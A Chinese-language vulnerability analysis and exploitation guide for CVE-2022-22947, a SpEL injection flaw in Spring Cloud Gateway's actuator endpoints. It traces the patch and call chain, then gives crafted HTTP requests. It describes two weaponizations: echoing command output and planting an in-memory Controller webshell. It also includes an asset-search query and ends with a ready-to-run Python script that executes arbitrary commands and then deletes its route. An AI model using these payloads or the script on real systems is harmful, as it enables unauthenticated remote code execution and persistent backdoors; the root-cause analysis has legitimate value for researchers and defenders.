漏洞描述
Spring Cloud Gateway 是基于 Spring Framework 和 Spring Boot 构建的 API 网关,它旨在为微服务架构提供一种简单、有效、统一的 API 路由管理方式。
近日VMware官方发布了Spring Cloud Gateway存在SPEL表达式注入漏洞CVE-2022-22947,可导致未授权远程命令执行漏洞。
漏洞影响
网络测绘
app=”vmware-SpringBoot-Framework”
漏洞复现
可以从Github下载存在漏洞的版本v3.1.0,然后用idea载入:
从漏洞通报来看,这是一个SPEL表达式注入漏洞,对比补丁org.springframework.cloud.gateway.support.ShortcutConfigurable#getValue
:
新版本将getValue
函数中的StandardEvaluationContext
替换成了SimpleEvaluationContext
,从而修复了SPEL表达式注入。寻找getValue
函数被调用的情况
只在枚举值ShortcutType
的三个取值(DEFAULT
、GATHER_LIST
、GATHER_LIST_TAIL_FLAG
)中被调用:
三个调用类似,以DEFAULT
为例,继续寻找调用关系:
一直定位到RouteDefinitionLocator#convertToRoute
:
尝试根据RouteDefinition
提取GatewayFilter
列表。这里的调用和路由以及过滤规则有关,查看Spring Cloud Gateway路由相关的接口定义:
定位处理控制器org.springframework.cloud.gateway.actuate.AbstractGatewayControllerEndpoint
:
POST输入参数为RouteDefinition
类型,与上面调用链中的convertToRoute
函数的输入参数类型一致。
查看RouteDefinition
定义:
注意列表型变量FilterDefinition
的定义:
参考RouteDefinition
变量的定义很容易出构造POST测试请求:
POST /actuator/gateway/routes/123456 HTTP/1.1
Host: 127.0.0.1:9000
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 166
{
"id": "id",
"filters": [{
"name": "123456",
"args": {}
}],
"uri": "http://localhost"
}
触发断点:
首先会通过函数validateRouteDefinition
对参数进行了检查:
进入验证函数isAvailable
:
代码中会验证Filter
的name
属性是否合法,合法列表整理如下:
class org.springframework.cloud.gateway.filter.factory.AddRequestHeaderGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.MapRequestHeaderGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.AddRequestParameterGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.AddResponseHeaderGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.rewrite.ModifyRequestBodyGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.DedupeResponseHeaderGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.rewrite.ModifyResponseBodyGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.CacheRequestBodyGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.PrefixPathGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.PreserveHostHeaderGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.RedirectToGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.RemoveRequestHeaderGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.RemoveRequestParameterGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.RemoveResponseHeaderGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.RewritePathGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.RetryGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.SetPathGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.SecureHeadersGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.SetRequestHeaderGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.SetRequestHostHeaderGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.SetResponseHeaderGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.RewriteResponseHeaderGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.RewriteLocationResponseHeaderGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.SetStatusGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.SaveSessionGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.StripPrefixGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.RequestHeaderToRequestUriGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.RequestSizeGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.RequestHeaderSizeGatewayFilterFactory
可以随意选择其中的一个GatewayFilterFactory
,比如利用Retry
来修改请求包:
POST /actuator/gateway/routes/123456 HTTP/1.1
Host: 127.0.0.1:9000
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 181
{
"id": "1234567",
"filters": [{
"name": "Retry",
"args": {
"a":"payload"
}
}],
"uri": "http://localhost"
}
请求后显示路由创建成功。可以通过refresh来生效:
POST /actuator/gateway/refresh HTTP/1.1
Host: 127.0.0.1:9000
Connection: close
成功触发表达式解析:
武器化一:命令回显
通过调试发现,在refresh路由时会调用对应GatewayFilter
的apply
函数。当成功创建新的路由后,可以通过GET请求获取配置信息:
回顾前面合法的GatewayFilter
列表,我们发现存在一个名为AddResponseHeaderGatewayFilterFactory
的子类:
apply
函数会将配置信息写入HTTP响应数据包中,所以可以尝试利用AddResponseHeaderGatewayFilterFactory
来构造命令回显请求:
refresh执行SPEL表达式,将结果写入HTTP响应流,然后访问创建的路由,可以将命令执行的结果回显出来:
最后可以发送DELETE请求将创建的新路由删除。
武器化二:Spring Controller内存马
CVE-2022-22947是一个SPEL表达式注入漏洞,并且框架基于Spring Framework实现,所以我们考虑通过漏洞注入Spring内存马。Spring可以在Controller、Interceptor等不同层级构建不同的内存马。
本文尝试构造Spring Controller内存马。Spring可以通过`RequestMappingHandlerMapping`来完成`@Contoller`和`@RequestMapping`注解,这里有两个比较关键的类:
`RequestMappingInfo`:一个封装类,对一次http请求中的相关信息进行封装
`HandlerMethod`:对Controller的处理请求方法的封装,里面包含了该方法所属的bean、method、参数等对象
函数`RequestMappingHandlerMapping#registerHandlerMethod`可以将Controller函数与`RequestMappingInfo`对象关联起来。首先寻找`RequestMappingHandlerMapping`对象。我们可以尝试在内存中搜索,借助`java-object-searcher`搜索,结果如下:
除了上面通过Thread
的方式提取RequestMappingInfo
之外,通过观察SPEL表达式解析的代码发现上下文环境存在beanFactory
的对象:
存有337个Bean对象信息,可以利用下面代码辅助打印结果:
for(int i = 0; i<((DefaultListableBeanFactory) beanFactory).beanDefinitionNames.toArray().length; i++){
System.out.println(((DefaultListableBeanFactory) beanFactory).beanDefinitionNames.toArray()[i]);
}
直接利用SPEL上线文环境中的beanFactory
即可获取RequestMappingHandlerMapping
对象。SPEL表达式中可以通过@
来获取BeanResolver
配置的beans对象:
接下来创建内存马的过程就很简单了,最终效果就是将如下自定义的Controller
子类通过SPEL表达式注入到内存并通过RequestMappingHandlerMapping
对象完成路由注册:
构造完新的payload后,发送数据包:
refresh后将注入内存马:
最后同样记得发送DELETE请求将创建的路由删除。
漏洞POC
import requests
import json
import sys
def exec(url):
headers1 = {
'Accept-Encoding': 'gzip, deflate',
'Accept': '*/*',
'Accept-Language': 'en',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36',
'Content-Type': 'application/json'
}
headers2 = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36',
'Content-Type': 'application/x-www-form-urlencoded'
}
## command to execute replace "id" in payload
payload = '''{\r
"id": "hacktest",\r
"filters": [{\r
"name": "AddResponseHeader",\r
"args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\\"id\\"}).getInputStream()))}"}\r
}],\r
"uri": "http://example.com",\r
"order": 0\r
}'''
re1 = requests.post(url=url + "/actuator/gateway/routes/hacktest",data=payload,headers=headers1,json=json)
re2 = requests.post(url=url + "/actuator/gateway/refresh" ,headers=headers2)
re3 = requests.get(url=url + "/actuator/gateway/routes/hacktest",headers=headers2)
re4 = requests.delete(url=url + "/actuator/gateway/routes/hacktest",headers=headers2)
re5 = requests.post(url=url + "/actuator/gateway/refresh" ,headers=headers2)
print(re3.text)
if __name__ == "__main__":
print(''' ██████ ██ ██ ████████ ████ ████ ████ ████ ████ ████ ████ ██ ██████
██░░░░██░██ ░██░██░░░░░ █░░░ █ █░░░██ █░░░ █ █░░░ █ █░░░ █ █░░░ █ █░░░ █ █░█ ░░░░░░█
██ ░░ ░██ ░██░██ ░ ░█░█ █░█░ ░█░ ░█ ░ ░█░ ░█░█ ░█ █ ░█ ░█
░██ ░░██ ██ ░███████ █████ ███ ░█ █ ░█ ███ ███ █████ ███ ███ ░ ████ ██████ █
░██ ░░██ ██ ░██░░░░ ░░░░░ █░░ ░██ ░█ █░░ █░░ ░░░░░ █░░ █░░ ░░░█ ░░░░░█ █
░░██ ██ ░░████ ░██ █ ░█ ░█ █ █ █ █ █ ░█ █
░░██████ ░░██ ░████████ ░██████░ ████ ░██████░██████ ░██████░██████ █ ░█ █
░░░░░░ ░░ ░░░░░░░░ ░░░░░░ ░░░░ ░░░░░░ ░░░░░░ ░░░░░░ ░░░░░░ ░ ░ ░
██ ██ ██
░██ ██ ██ ░██ ░██
░██ ░░██ ██ ░██ ██ ██ █████ ░██ ██ ██████ ███████ █████
░██████ ░░███ ░██░██ ░██ ██░░░██░██ ██ ██░░░░██░░██░░░██ ██░░░██
░██░░░██ ░██ ██ ░██░██ ░██░██ ░░ ░████ ░██ ░██ ░██ ░██░███████
░██ ░██ ██ ░░ ░██░██ ░██░██ ██░██░██ ░██ ░██ ░██ ░██░██░░░░
░██████ ██ ██ ███░░██████░░█████ ░██░░██░░██████ ███ ░██░░██████
░░░░░ ░░ ░░ ░░░ ░░░░░░ ░░░░░ ░░ ░░ ░░░░░░ ░░░ ░░ ░░░░░░
usage: python3 test.py url
''')
if(len(sys.argv)>1):
url = sys.argv[1]
exec(url)
else:
exit()
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